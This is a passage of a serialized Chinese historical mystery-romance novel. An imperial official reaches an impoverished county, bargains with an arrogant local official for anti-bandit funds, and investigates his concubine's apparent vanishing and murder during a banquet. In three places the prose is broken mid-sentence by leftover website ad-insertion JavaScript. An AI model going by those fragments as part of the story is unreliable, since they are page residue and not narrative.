晨曦之中,她们信步而来,虽然身上有些泥泞,裙子也因为在古墓呆了很久而满是褶皱,气质却不凡。 景暄和先将老杨和茗泉松绑了,又用绳子将两名匪徒给结结实实地绑了起来。 拿起店小二掉下来的大环刀,只觉刀锋凌厉,实在是把好刀,她把玩了一下,突然手起刀落,店小二呼吸都被吓停了,还以为自己快要死了! 这刀落在离他脖子处半尺的地方。 景暄和逼问道:“你从哪里拿到的这把刀?如实招来,我可没功夫和你废话。” 店小二故作镇定地说:“这是……这是小人祖上传下来的刀,到小人这里……已经五代了。” “哦?”景暄和目光落在刀刃上,“那二十年前,这刀也是在你手上咯?” 店小二不疑有他,“是啊,就在我手上!如果……如果你放我一命,我就将这把刀送给你,怎么样……” 景暄和将刀离他脖子更近了。 “你可真大方,祖宗传下来的东西,也可以说送人就送人了?” 店小二冷汗直冒:“女侠想要,我就送你,绝对不扯别的!” 景暄和话锋一转,“二十年前,这刀背上了人命官司,有三名冤魂葬身于这刀之下,难道是你杀的?” “这……这……不可能啊!”店小二牙齿开始发颤,“你说的什么冤魂?在哪里?” “你别管我说的是谁,只需要承认,二十年前你用这刀杀了人便是。”景暄和故意诈他,煞有介事地说:“可是杀人偿命,如果真是你杀的,你就准备好给自己选口棺材吧。” 店小二失声道:“冤枉啊!不是我!二十年前我才十岁,怎么会杀人呢!” “可是你刚才说,二十年前你就是这把刀的主人了?”景暄和不信地睨了他一眼。 “那是……那是我想用宝刀换自己的性命,扯的谎罢了!这刀是我在客栈院子里捡到的,我和彭姨落草为寇后,无意间找到了这间客栈,当时进来只见全是灰尘,门窗桌椅都是破败不堪,我们才起了开黑店的心思,谁知道却遇到了女侠您啊!” 景暄和有些福至心灵,所以说,凶手用刀杀完人后,又从密道逃出,将刀丢在院子里,那么一切就都说得通了。 她负着手说:“不管怎样,你们开黑店是真,想谋财害命也是真,我会将你们扭送到官府,听候发落。至于那些人嘛……” 她的目光落在士子和镖头们身上。 银光一闪,她将他们的绳子砍断,“你们想去哪儿便去哪儿吧,山高水远,后会无期。” 士子们连忙感谢景暄和的救命之恩,而镖头们脸上却红一阵白一阵的,羞愧难当。 刀疤脸镖头说:“姑娘不妨留下姓名,我等日后定当报答!” 景暄和摆摆手说:“报答就不必了,只希望你们以后多做善事,不要像昨天那样做些龌龊之事。” 刀疤脸羞惭满面,连连说是。 景暄和一行离开客栈后,直奔望春县而去,谁知好不容易到了县城门口,却见大门紧闭,城墙上贴了一个通缉令,上面画着一个狰狞的鬼面人,写着:“此人狼子野心,意图谋反,勾结同党,罪大恶极,若有知情上报者,赏白银二十两。” 景暄和瞅了瞅这通缉令,说:“上面画的便是黑风寨的寨主了吧,如果能凭借这通缉令抓到他,才真是见了鬼了。连样子都不知道,只凭借一个鬼面具便可指认么?万一面具下的人被掉包了怎么办?”她又顿了顿,“其次,望春县看起来财政有些吃紧啊,我曾看过赏银千两的通缉令,而这通缉令只有区区二十两的银子,难道是剿匪的银子不够了?” 徐芃敏低声说:“我们不是发现了那古墓么?用墓中的财宝……” 景暄和连忙将食指放在唇前,示意她噤声,“这件事只有我们三个人知道,如果贸然动用那些东西可能会让人疑惑,我们是从哪里得来这些钱的,除此之外,那些东西毕竟是属于它自己的主人的,不到万不得已,还是不要拿比较好。” 徐芃敏点点头。 这时有两个小兵发现了她们,大喝一声:“你们是谁?怎么在下面鬼鬼祟祟的?走走走,快走!再不走,我们就弓箭伺候了!” 景暄和皱了皱眉,从兜里掏出牌子,“你们看清楚了,我可是圣上钦派过来剿匪的!” 两个士兵揉了揉眼睛,他们倒是听说了圣上会派一个官员过来帮忙剿匪,却没想到,此人竟是个女子。 “还愣着干什么,快开城门!”景暄和冷脸喝了一声。 进城后,只见城中一派萧条的景象。 秋风吹过,路上行人面黄肌瘦,穿的衣服也是布衣褴褛,偶尔有几个营业的商贩,挂着泛黄的灯笼,有气无力地吆喝着,让人不禁想起“民生凋敝”四个大字…… 士兵带她们去县里的衙门,知县早已等候在门口,他穿一身古旧的公服,着乌纱帽、团领衫、束带,衣服上织以径一寸的小杂花花纹图样。 “拜见景大人!”他恭敬地朝景暄和施了一礼。 知县叫“吴春茂”,看起来是个和蔼可亲的样子,年过半百,景暄和回了一礼,向他的身后望去,却不见另外的人,仿佛整个衙门就只有他一人而已。 “是这样的,汪常青汪大人正在前线剿匪,而府里的县丞和主簿……正在睡午觉呢。” 景暄和眉头一挑。 吴知县无奈道:“我虽贵为知县,按理说是应该总管全县事务的,可是阮县丞家是望春县的名门望族,也是当地士绅的领袖,所以整个望春县其实一直是他说了算的,如果得罪了阮县丞,他让士绅们联合起来和我们对着干,就吃不了兜着走了。” “竟有此事?” “汪大人就是因为仗义执言,所以和阮县丞不对付,一路上被穿了很多小鞋,还好汪大人秉性坚韧,不屈不挠,才一直和匪徒们抗衡,只是朝廷拨下的抗匪钱财实在是吃紧,汪大人最近也有些焦头烂额的。” 景暄和朗声道:“来之前我调查过,望春县的七成银钱都掌握在士绅们手里,知县有没有考虑过,向他们募集资金?况且阮县丞也是衙门中人,他不能坐视不管吧?” “话虽是这么个道理,可是他们全都在推脱,说自家银钱也吃紧了,有的说什么匪徒抢了他们家的运粮车,还有的说,他们家的镖车被人给劫了,反正就是五花八门的借口,久而久之,我也不再提募捐的事情了。” “那阮县丞怎么说呢?” 吴知县重重地叹了口气,“他不过就是高坐钓鱼台罢了,装作看不见和听不见。” 景暄和若有所思地点点头,所以现在事情的关键是要搞定阮县丞,如果以他为突破口,事情也许还有转圜的余地。 “请问阮县丞在哪里睡觉?” 吴县丞支支吾吾地嘀咕道:“他今天没来县衙,还在家中。” “都这个时辰了,还在家中?”景暄和有些恼火,又对吴县丞恨铁不成钢。 “能否告诉我他家的地址?” “景大人,你这是……” “既然他不来见我,那么我便亲自去找他吧。” “可是阮县丞脾气急躁,动辄破口大骂,景大人,万一他冲撞了你,那就不好了。” “你放心,尽管告诉我地方就是。”景暄和一向圆滑,自然不会和他硬碰硬,心下已有了主意。 *** 阮县丞名叫阮继,他的家在望春县的中央,传言那是一处风水宝地,他们家先祖便在此地建了一座园林,又因为阮家老太爷年轻时曾去过苏州,爱极了苏州的园林,便仿照着建了一座宅子,名字倒是雅致,取名叫“清风堂”。 景暄和知道徐芃敏思念夫君心切,便让若薇陪着她先去见汪常青,自己拜会了阮县丞再过来。 来到阮家大门,只见这门的门坎很高,到了景暄和的腰部,怪不得吴知县说阮家是大户人家,今日一见果然豪奢。 她让阮家的小厮先去通报,可是许久,小厮才过来,说他们家老爷现在正在干正事,不方便见客。 景暄和也不气,神色如常地扒拉开小厮,霎时便翻过了阮家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的门坎,进到了里面。 “景大人,你……”小厮惊讶地说不出话。 要死,他们家老爷正在和小妾…… 如果被景大人看到了,可如何是好?! 景暄和动作极快,一下子便来到了后院,丫鬟们只见一个高挑的女子穿梭于亭台楼阁之间,看不清样子,像一阵风一般,还以为是老爷新惹的桃花债呢。 “抱歉,阮继的卧房是在里面么?”景暄和停在了一扇高大的雕花门前面,问一个路过的挑柴小厮。 小厮看这女子妍丽娉婷,下意识地呆呆地点了点头。 她一把推开院子的门,就听见里面传来娇媚似水的声音。 “老爷您轻点,弄疼妾身了!” “哈哈——宝贝儿,让我再亲几口。” “老爷,您太坏了……” “还有更坏的,要不要尝尝!” 里面又传来千娇百媚的笑声。 景暄和:“……” 敢情小厮说的正事是这个。 没想到他们竟然白日宣淫…… 景暄和清了清嗓子,大声道:“阮县丞,锦衣卫镇抚使景暄和求见!” 里面的声音突然停了,四周安静的可怕。 木门被推开,阮继披着一身白色里衣,不耐烦地朝景暄和望去,里面还有一个穿着鸳鸯戏水肚兜的女子,正拿被子捂着身子,只见她雪白的手臂露了出来,如莲藕一般。 景暄和整理了一下表情,换上了一副笑脸:“阮县丞,圣上将我派来望春县,协助您和汪大人剿匪,只是在县衙中看不到您,便特意过来拜会,没想到闻名不如见面,阮县丞竟是如此伟岸不拘的男子啊。” 阮继本脸色很不好看,还以为景暄和是来找他不痛快的,没想到这景大人竟和传说中的“铁面无私”不一样,倒是挺会说话,当下也轻咳了一声,“今日我染了风寒,所以才没去衙门,让小妾红袖过来照顾我的。” 景暄和也没拆穿他,只是笑吟吟道:“暄和刚来望春县,人生地不熟的,阮县丞世代居住于此,何不向我介绍一下当地的风土人情?” 阮继拢了拢衣裳,“那景大人还需等我一炷香的时间,待我整理一下衣服。” “那是当然,阮县丞不必着急。” 阮继穿了一身青色团领衫,足踏黑靴从房中走出,将景暄和带到后院。 他的院子果然如传言中的精美绝伦,一步一景,雕梁画栋,最巧夺天工的是湖中央的一艘石画舫,由石头做成了游船的模样,上面写着“卧栏听雨”四个字,很是雅致。 他简单地向景暄和介绍了一下县里的情况,在谈到剿匪时,他也做出有些伤脑筋的模样,道:“说实话,我是佩服汪大人的谋略的,我与他虽不睦,可看他坚持了这么久,也十分动容,只是,县里的财政实在是吃紧,巧妇难为无米之炊啊,景大人是圣上眼前的红人,何不向圣上申请多拨些银两来剿匪?” 景暄和装作沉重的样子,“不怕阮县丞笑话,我因触怒了圣上才被贬到此处剿匪,自然是想做出些功绩,才能重获圣恩,哪有还没做出成绩就向圣上要银两的道理?再说了,今年流年不利,南方旱灾已经用掉了国库中的许多银子,如今圣上自然是想花最小的代价荡平匪患了,早就听闻阮县丞在望春县很有声望,那些士绅也以阮家为尊,阮县丞何不动员他们募捐银两,等剿匪成功后,龙颜大悦,还怕圣上不给咱们嘉奖吗?” 没想到他脸色沉了沉,不置可否地说:“景大人,这件事情何不明日再谈?我看你也旅途劳顿了,今日阮府便给你接风洗尘吧。” 景暄和知道此事需徐徐图之,不能着急,便爽快地答应了。 这天夜晚,皓月当空,清风徐来,阮继在湖心亭设宴款待景暄和。 酒过三巡,他突然吩咐小厮,“如此美酒佳肴,何不叫红袖出来唱首小曲儿?就在石画舫吧,景大人,你看如何啊?” 红袖便是今日在阮继房中的小妾,也是歌姬出身,颇受阮继的宠爱。 “那自然是最好了。”景暄和抿了一口酒道。 谁知等了许久还不见踪影,小厮突然着急忙慌地赶来:“老爷……老爷不好了!” 131. 石画舫 “发生何事了?怎么这么毛躁,让客人看了笑话。”阮继有些不悦。 小厮抹了一把汗道:“红袖夫人的舅舅找上门来了,说他家连吃饭的钱都不剩了,非找她借钱贴补,但是红袖夫人说自己已经借了他许多了,实在是没有再借的道理了,她舅舅说她没良心,飞上枝头变凤凰就忘记了是谁一把屎一把尿将她拉扯大了,二人竟然吵了起来,怎么劝都劝不住。” 阮继拍了一下桌子,“可恶!你们是没脑子吗,都说了多少次了还是将她舅舅放进来!” “可那人毕竟是红袖夫人的舅舅啊,也是从小看着她长大的亲人了,老爷那么宠红袖夫人,我们也不好给她舅舅脸色看啊。” 见景暄和在场,阮继没有发作,而是说:“景大人稍坐片刻,阮某去去就来。” 景暄和放下酒杯,知道他不想家丑外扬,便道:“阮县丞无需多礼,我在这儿吹吹清风也是极好的。” 阮继点点头,随小厮一同往后院去了。 景暄和又倒了一杯酒,她这次是同茗泉一起来阮府的,见茗泉站在一边,便问他:“你觉得这阮府有没有点奇怪?” 茗泉不解:“景大人说的奇怪是指哪里,我觉得一切都挺正常的啊。” “看阮县丞的年纪,应该早就娶妻了,可是府里的小厮们却一口一个‘红袖夫人’地叫着,全然没有提阮府当家主母的事情。” “是有些奇怪。”茗泉颔首说。 这时,又有一个圆脸小厮过来上酒,景暄和见他眼睛一直盯着这酒,好似有些馋了,便让他拿两个新杯子过来。 她说:“这酒确实很香,你想尝尝吗?” 圆脸小厮骇然道:“这……主仆有别,景大人可不要开玩笑啊。” “我可没开玩笑,反正你的主人又不在这儿,是我赏你喝的,要怪也怪不到你头上。”景暄和微笑了一下,给他和茗泉分别倒了一杯。 “那……那就多谢景大人了!这酒是阮县丞珍藏的‘清风玉露酒’,十分稀罕,小人没想到有生之年居然能喝到这酒,实在是死都值得了。”小厮脸上带着欣喜,双眼放光。 “清风玉露?名字倒是好听。” 不知怎的,景暄和就想到了万灵安的玉箫,数月前他带着景暄和出门踏青,二人坐着画舫,又扮成普通百姓的模样,万灵安拿出玉箫,突然一时兴起想给那萧起个名字。 他思索了一下,“何不叫寒泉漱石?” 景暄和说:“名字很雅致,但是我听你吹箫,却想到了月光,不由得想象出一片月光洒落在无垠大海的景象,意境幽雅,带着抚慰人心的力量。” 他微微一笑道:“能得景大人如此高的赞美,万某实在是荣幸。” 景暄和看他一本正经的样子,笑着说:“那你何不起一个‘月’字的名字送给这箫?” 万灵安将她搂在怀里,“我想听你给它起一个,如何?” 景暄和搂住他的腰,闻着他身上熟悉的月麟香的味道,不禁起了逗弄的心思:“那就叫它‘大月亮高高照’怎么样?一听就让人想起好大一只月亮。”她用手比划了一个大大的圆。 万灵安抿了抿唇,抓住了她的手指。 “你不喜欢我给它起的名字!”景暄和做出十分委屈的模样。 万灵安咬了咬牙,“好,那就叫‘大月亮高高照’吧。” 景暄和知道,让一个大雅之人接受一个如此俗气的名字实在是太为难人了。 她眨了眨眼睛,正经道:“要不,叫‘月下沧海’吧?” 万灵安默念了几次这个名字,眼中绽出喜色,“好名字!” “那你打算怎么感激我?”景暄和笑睨了他一眼。 二人呼吸相抵,越来越近,他的唇就这样吻上了她的…… …… 今夜明月当空,乌鹊南飞,园中一派清雅的景象,可是她与携手之人却走散了。 此后锦书休寄,画楼云雨无凭。(1) 真是一场幻梦。 “这酒着实是上等啊,多谢景大人了。”茗泉也品了一口,说道。 他的话将景暄和拉出了记忆的漩涡,她一怔,眼中似乎有些迷离,摆了摆手说:“不用谢,小事一桩。” 小厮也连连道谢,擦了擦嘴道:“多亏了景大人,小人才能尝到如此的美酒。” 景暄和问出了自己的疑问:“请问阮府有大夫人么,怎么没看见她。” 小厮叹了口气,“阮老爷本娶过两位当家主母,可她们都因为难产去世了,所以望春县传言老爷克妻,大户人家都不敢将自家女儿嫁过来了,而那些小门小户的闺女咱家老爷又看不上,所以便耽搁了,只是陆续娶了几房小妾,最中意的便是红袖夫人了。” “怪不得……”她沉吟了一下,又问:“红袖夫人的舅舅经常过来要钱么,难道他是个赌徒?” “哎,他舅舅每隔十天半月就要来要钱,红袖夫人一直可怜他才屡次帮助的,可是如今算是忍无可忍了,恨不得和他断了这亲戚关系。可要说他是赌徒,也不是,只是个面朝黄土背朝天的农民罢了,家里有七个儿女,还有母亲和妻子要养,一大家子等着吃饭呢。” “按你说来,如今望春县本本分分的农民竟然要借钱度日?” “这一切还不是因为赋税太重?这些农民要交田赋、丁赋和各种杂税。其中田赋最重,根据土地的面积和质量来征收,还分为夏季税和秋季税。更别提那些杂税了,有一年甚至连望春县百姓的衣服都要交税,美其名曰‘丝绢税’,更可气的是,这税士绅们不用交,要交的全是普通的老百姓,相当于变相地克扣百姓,负担全落在了他们头上。 我听说黑风寨匪首的父亲就是因为交不起杂税,竟带着他两个弟弟投河自尽了,他儿子受不了打击才落草为寇的,说什么要学梁山好汉,为自己而活,不要再受朝廷的剥削了。” 小厮打了个酒嗝,突然自觉失言,脸色“刷”一下白了,扑通跪下,“景大人,您就当小人喝醉了吧,说的都是些胡话,别怪罪小人啊。” 景暄和将他拉起来,“你说的这些话很有道理,何罪之有?也要多谢你,让我窥探了望春县平静面具之下的裂痕。放心,我不会说是你告诉我的。” 小厮这才放下一颗心来。 不多时,阮继携着他的小妾过来,红袖的脸色很不好,看来是刚和人吵完了嘴,一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 副很不快的样子。她穿一琥珀色的袄裙,套上了月白的比甲(2),头戴簪花,细眉桃腮。 一名丫鬟提着灯,另一名帮她抱着琵琶,引她往石画舫那边而去。 “让景大人久等了,菜都凉了,还不让厨房炒些热乎的送过来?” 小厮连忙说好。 “阮县丞,事情都解决了吗?可还顺利?”景暄和关心道,给他倒了杯酒。 阮继清了清嗓子,“没有多大的事,一切都妥帖了,景大人无须担心。” 他喝了口酒,还能怎么办呢,这次又给了红袖舅舅些银两,算了,看在小妾的面子上,为了博美人一笑,就当打发叫花子吧。 红袖端坐在琴凳上,轻抚琵琶,弦声由缓变快,她的手指也如蝴蝶在绮丽的花丛间飞舞跳跃。琵琶声时而婉转动人,时而慷慨激昂,伴着她如黄鹂般悦耳的歌声,果真是一种享受。 景暄和屏气凝神,只见画舫中点着一只红灯笼,后面放着一只花鸟屏风,灯笼朦胧的光亮落在她的身影上,此刻与琵琶声完美地交融在一起,实在是和谐唯美,也怪不得阮继那么宠爱红袖了。 有这样一个曼丽佳人在侧,谁人不心神荡漾呢? 歌声止了,还是余音绕梁,不绝于耳。 红袖盈盈地起身,福了一福,景暄和不由得为她鼓掌。 谁知,灯笼霎时灭掉了,石画舫顿时一片漆黑。 家丁丫鬟们都有些慌乱,忙拿着蜡烛去往那石画舫,红袖夫人最怕黑了,若是她吓出个什么好歹了,府里也要鸡飞狗跳一阵子了。 “老爷,红袖夫人怎么不见了?”丫鬟来到石画舫,惊呼道。 “胡说,活生生的人怎么会凭空消失?将灯笼点起来!”阮继站起来吩咐道。 灯笼被点了起来,石画舫果然空无一人,只有一把椅子、一只琵琶和一处屏风。 “阮县丞,何不在花园里再找找?我总觉得,红袖夫人还没出阮府。”景暄和也十分惊异,石画舫在水中,只有一条路出来,而路上站着两名丫鬟,如果红袖趁着漆黑从这条路出来,她们不可能没看见。 而石画舫也没有什么大木箱能够藏人。 “将椅子和屏风拿走,再仔细地搜!”阮继背着手说。 他又将两名丫鬟叫到身边,问她们有没有听到红袖夫人落水的声音,会不会是她因为害怕黑暗而掉入了水中,丫鬟们都摇头说没有,并没有听到重物落水的声音。 家丁们在石画舫和花园里找了许久,还是一无所获。 “要不扩大搜索范围,阮府有许多房间,说不定红袖夫人就在其中一处呢?”景暄和觉得此事愈发的诡谲,实在是让人惊异。 家丁们将出入的大门死死守住,连只苍蝇都飞不出阮府,所以她肯定,红袖还在府内。 一刻钟后,有家丁大惊失色道:“老爷,红袖夫人在……在她的房间内!” “带我去去瞧瞧!” 阮继终于露出一丝喜色,他还没起身,家丁却牙齿发颤地说:“可是……她……她已经死了。” 景暄和惊讶地站了起来。 尸体竟然会瞬移?! 真是见鬼了! 132. 熟悉背影 阮继跌坐在椅子上,突然觉得一阵心绞痛。仆人给他端上了安神静气茶,好一会儿才缓过来。 他抬头,抓住景暄和的袖子说:“景大人,你在顺天府屡破奇案,素有贤名,可否请你为红袖找出凶手啊!” “阮县丞,红袖夫人的死我一定会仔细探查的,可是我刚才的提议,也希望您能好好考虑,毕竟剿匪的银两实在是短缺,若您能联合士绅们捐献钱财,也能让将士们士气大振啊。” “你是在威胁我?若我不给,你便不去查案了?”阮继眼中带上了防备,语气也冷了几分。 景暄和说:“阮县丞误会了,暄和不是这个意思,就像我之前说的,无论你捐或者不捐,我都会好好去查案,不放过一点蛛丝马迹,可是剿匪也是大事,我想请你再好好考虑一下。” 她的言辞恳切,目光又很真诚,让人不忍拒绝。 阮继站起身来,思索了一下,似乎下定了决心,“景大人,咱们明人不说暗话,若你能在一日内查出红袖的死因,我便劝说士绅们和我一起捐献五万两白银给望春县剿匪。” 五万两! 景暄和死命地压抑自己的窃喜,若此事能成,那么剿匪的经费便够了! 她咳嗽了一声,“好,一言为定,我们击掌为誓。” 景暄和伸出自己的手,阮继与她一击,算是做出了承诺。 *** 她先去红袖的院子里验尸,红袖的脖子有被绳子勒过的痕迹,死因就是窒息而死。身上的衣服没有潮气,也佐证了丫鬟们的证言,她没有落入水中。景暄和注意到,她的衣服下摆好像被钉子挂过,丝线有些不均匀。 红袖手腕和脚腕有扭到的青紫肿胀,还有些擦伤,应该是生前扭伤的,因为死后人的血液停止流动,并不会出现肿胀或淤血。 景暄和找来红袖的贴身丫鬟,问她红袖死前的一个月内有没有什么异常。 丫鬟说,其他的倒没什么,只是她总是一个人将自己关在屋内练琵琶,一练就是几个时辰,比平时要勤奋许多。 景暄和点头,当时红袖进入石画舫弹琵琶,是所有人有目共睹的,那么,又怎么会突然不见,然后瞬移到房间的呢? 冒出的第一个念头就是,有没有可能是掉包,有另一人和红袖长得一模一样,如今的死者是假红袖? 景暄和问丫鬟:“红袖夫人有没有什么孪生姐妹?她的身上有什么胎记吗?” 丫鬟如实答道:“从没听过她有什么姐妹,红袖夫人幼年失去了双亲,从小就是她舅舅家养大的,我记得红袖夫人手腕上有一块红痣,很是鲜艳。” 景暄和将尸体的手腕抬起来,果然看到了红痣,可见是丫鬟们平日里服侍的红袖夫人无疑。 而红袖在弹琵琶时,景暄和也注意到了,那女子的手腕处有红痣,虽然距离有点远,但景暄和目力极好,断不会看错的。 为了更好地验尸,景暄和将她的衣物褪去,惊奇地发现她的后背上有深深浅浅的鞭痕,难道是和阮继在一起的时候,二人有什么不可说的情趣? 可是今日景暄和才听到她与阮继云雨,而这些鞭痕却像是很久之前留下的,更像是她小时候受过的折磨。 这时,后院传来凄凉的哭声,脚步声越来越近。 “红袖啊,我的亲侄女儿!你怎么这么年轻就死了啊!” 原来是红袖的舅舅带着她的舅母过来了。 她的舅舅很瘦,甚至可以说骨瘦如柴,常年在阳光下暴晒的黝黑面容让他显得愈发苍老,她的舅母也白发苍苍,比同龄人看起来要老上许多。 他们扑了上来,想推开门,景暄和却挡在门前,派家丁拦住了他们。 她知道自己这样做很残忍,可还是不得不说道:“在红袖死前,舅舅与她爆发了激烈的争吵,所以,你们二人不能排除嫌疑。” 她舅舅红着眼,怒气冲冲地盯着景暄和:“你这个婆娘好狠的心啊!她是我的亲侄女,我能害她吗!” “很抱歉,可是我之前办过的案子中,有很多都是亲人自相残杀的。” 红袖舅舅悲痛到不能说话,捂住胸口,而她舅母却“噌”地一声站起来,作势就要去抓景暄和的衣领。 “小姑娘,你难道就没有亲人吗?!我们只想让红袖入土为安,难道连这点小小的要求都做不到吗!既然你不仁,就别怪老娘不义了!” 景暄和闪身躲过,妇人抓了个空,更加生气,竟然破口大骂起来:“我呸!你个没爹没娘的贱货,快闪开,让我们带红袖回去!你如果不答应,小心我抓花你的脸!” 她张牙舞爪,阮府的家丁们将她拉了过去,她虽行为被束住,嘴里却骂骂咧咧的,不堪入耳。 景暄和本来是可怜他们的,可这妇人撒泼的样子却着实让人不悦。 “你再吵嚷,小心我将你丢入大牢,治你一个妨碍公务的罪过!” “我呸!”妇人啐了一口,“红袖是我们好不容易才养大的,是我们最疼爱的姑娘,你这个外人凭什么说三道四的,我今日非要将红袖带回去,不然你就从我尸体上踏过去吧!” 景暄和从未见过如此蛮不讲理的人,她分毫不让地说:“最疼爱的姑娘?可为什么,我会在她身上发现鞭痕!一定是你这蛮横的妇人折磨于她的!既然如此,你觉得红袖在天有灵,会愿意和你们回去吗?” 这样一说,妇人的脸果然白了。 红袖舅舅自知理亏,讪讪道:“媳妇,我们还是走吧……别耽误人家查案了……” 妇人猛地推开舅舅,指着他的鼻子大骂道:“我这辈子最倒霉就是嫁给了你这窝囊废,钱没挣到,一天到晚只会忍气吞声!要不是你,老娘早就吃香的喝辣的了!” 红袖舅舅只是低着头不说话,任她数落。 “现在好了,红袖也死了,以后咱们家算是完了,阮府也没理由再接济咱们了吧!” 她坐下来,就要撒泼打滚。 景暄和沉声道:“红袖刚死,就躺在里面,你是想搅得她魂魄不安么?就不怕午夜梦回的时候,她的冤魂过来找你。” 她突然明白为什么红袖舅母要执意带红袖的尸首回去了,一来能向外人彰显自己有多么疼爱侄女,二来是想让阮继对他们表示愧疚,以后能靠着这愧疚再接济他们。 可怜的红袖,活着的时候不停赈济舅舅一家,到死了还被亲人算计。 “是谁在府中吵闹?不成体统!”阮继负着手,来到了院中。 红袖舅妈立刻换上了一副痛心疾首的模样:“我可怜的红袖啊!你怎么这么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惨啊!年纪轻轻就死了,让我们白发人送黑发人啊!” 阮继皱眉,吩咐小厮:“给他们一百两银子吧,不过,红袖已经是阮府的人了,我是不会让你们带回去的。” 妇人一听竟有一百两这么多,立马两眼放光,她飞快地抹了抹眼泪:“阮老爷,您可真是难得一见的大善人啊!” 目的达成,红袖舅舅带着舅妈飞也似的离开了。 院中终于又恢复了安静。 现在让景暄和纠结的点在于,红袖到底是在石画舫中遇害的,还是在房间中遇害的呢? 她更倾向于后者,如果她在石画舫中遇害,丫鬟们不可能没听到动静,而且勒死并不是瞬间就能完成的。 难道在石画舫中,是红袖自己躲到了某处? 她用某种方式转移了位置,想要逃走,竟被凶手杀害。 那么,她到底躲在了哪里,又是怎么转移到房间里的呢。 天色已经不早,景暄和与茗泉向阮县丞告辞,打算往府衙而去。 一想到徐芃敏还在等她,此时恐怕已经等着急了,便让茗泉去向他们传信——自己今日不会去找她了,要破了案子才会与她会和。 剿匪的军士们住在名为“周家坳”的地方,相传古时候有一姓周的家族举家搬到此处,便以“周家坳”作为地名。那处毗邻望春山,山匪们都盘踞在山上,很难找到踪迹。 汪常青带着人在周家坳安营扎寨,想必此时徐芃敏已经见到了夫君。 景暄和独自走在望春县的街上,街上行人并不多,比起顺天府人烟少了许多,可就是这样寂静的夜晚,更加有助于她的思考。 景暄和在脑中回忆起今日的线索,又将整个事情串了一遍。 月光洒在石板路上,不知怎的,她突然看到一个熟悉的背影。 那人身材颀长,如芝兰玉树,好像…… 景暄和鬼使神差地就加快了脚步,走到那人跟前,失声道:“万渊……万灵安,你怎么在这里?” 那人转过身,却是一张完全陌生的面孔。 他目光如水,望向了景暄和。 “不好意思,我认错人了。”她一惊,垂下睫毛。 真是脑子不清白了,徐芃敏说万灵安身染重病,他又怎么会来望春县呢…… 那人点点头,微微一笑,似乎在说“没关系”,便转身离开了。 景暄和停住了脚步,望向了天上的月亮。 她倒想让自己成为一个铁石心肠的人,可是她做不到,真的做不到! 一想到他病得快要死了,连早朝都上不了,她的心就揪着疼。 白天她可以当做什么事情都没发生,全身心地投入到查案之中,可是一到了晚上,需要独自面对自己的时候,她就没来由地会想起他。 她使劲地摇头,想将自己的思绪清空。 …… 而被景暄和“认错”的那人却走向了巷子深处,那是一间客栈,门上挂着“客满”的牌子,事实上却是被包下来了。 那人信步上了楼,推开门,庄炎已经等候在那里。 “万大人,我已检查了周围,没有异样,也没人发现我们的身份。” 那人缓缓地取下人皮面具,露出一张俊美无俦的脸庞。 133. 下作手段 万灵安没有提刚才遇到景暄和的事情,而是淡道:“魏福忠已死,朝中再无人与我抗衡,皇上正是最忌惮我的时候,与其让他对我满是防备,还不如避其锋芒,好好休养才是正事。” 万府已经派人告知了大臣们,说万灵安要静心养病,不能见任何人,那些人也识趣地不再叨扰。 庄炎点头道:“我的弟弟庄阳也在恢复之中,不日便能康复了,多谢万大人给他用最好的药,要不是这些灵药,他不可能恢复得这么快。” “他是我的手下,自然要得到最好的照顾。”万灵安坐下,“查出之前刺杀我与暄和的那伙人来自何方了吗?” “目前已经确定,他们是受宫中指使的,可是线索却断了,刺客的接头者和宫里的内侍单线联系,当我们想深挖的时候,这两个人却都离奇地死了。” “看来对方很是警觉啊,但是,若要人不知,除非己莫为。” 宫中之人,除了皇上与明贵妃,还有吃斋念佛的李太后与不问世事的太皇太后张氏。 又或者,还有什么人藏于暗处,让他没有注意到? “河边村的事情,有眉目了么?”万灵安抿了口茶。 庄炎摇了摇头,“还是没有发现另外的幸存者,阿呆仍在家中养病,而那个小姑娘还是痴傻的样子,在养济院里开始了新的生活。” 万灵安的手指扣了几下桌子。 不知怎的,他的内心深处总有些不安,这不安伴随了他很多年,如影随形。 在京城的权力场翻云覆雨这么些年,他本以为越到高处就越会掌控一切,可是却发现,高处不胜寒,仿佛每向上一步,就愈发地不安,仿佛不知什么时候就会掉下来,摔得粉身碎骨。 *** 这晚,景暄和做了很多光怪陆离的梦。 她一会儿梦到自己在阮府里听红袖弹琵琶,红袖穿一身红艳的衣裳,嘀嘀嗒嗒地向下滴着血,偌大的阮府竟空无一人,只有景暄和一人站在亭子里,红袖霎时便不见了,下一秒竟出现在她身后,阴森地对着她笑。 一会儿梦见和万灵安泛舟湖上,可是,他们明明已经分开了,为什么还会依偎在一起呢?突然狂风暴雨,小船好像一片残破的叶子,在汪洋中起起伏伏,万灵安也不见了,只有她一个人,任她怎么大声呼喊也没人理她。 后来,她又梦见与阿呆正在查案,案子很血腥,死者死状惨烈。她蹲下来验尸,突然胸口一片凉意,一摸才发现她流血了,阿呆的脸变成了凶手的脸,竟在后面捅了她一刀…… 景暄和终于惊醒,身上全是冷汗。 她换了身衣服,刚一出门,却见吴知县的师爷已等候在侧,他说:“知县大人已经听说了昨天发生的事情,今日天还没亮就来到了县衙里,还说如果景大人有需要,请随时叫他。” 景暄和与师爷一同去往大堂,吴知县还是那副和蔼可亲的样子,他徐徐道:“景大人,昨夜睡得可还习惯?” “多谢吴知县挂念,昨夜很好。” “本官听说景大人与阮县丞定下约定,案子有进展了吗?” “我想我必须搞懂红袖瞬移的方式,也许只有弄懂了这个,才能找出凶手,可是,目前还没有思绪。” 吴知县点点头:“红袖之死让阮县丞十分悲痛,我特意准许他休沐三天,寄托哀思,所以他今天不会来县衙。如果景大人有什么需要,请尽管跟我说。” “多谢吴知县。”景暄和施了一礼,“不过我还是想去案发现场,只有在那里,才会有更多的灵感。” 她与茗泉又来到了阮府,与昨天不同的是,今天的阮府已经挂起了白布,换上了白灯笼,好像要给红袖操办丧事。 刚一进门,却撞到了阮府的老夫人,她目光探究地望了景暄和一眼。 阮继的母亲一向深居简出,也不喜欢凑热闹,只是她的表情很严肃,让人敬而远之。 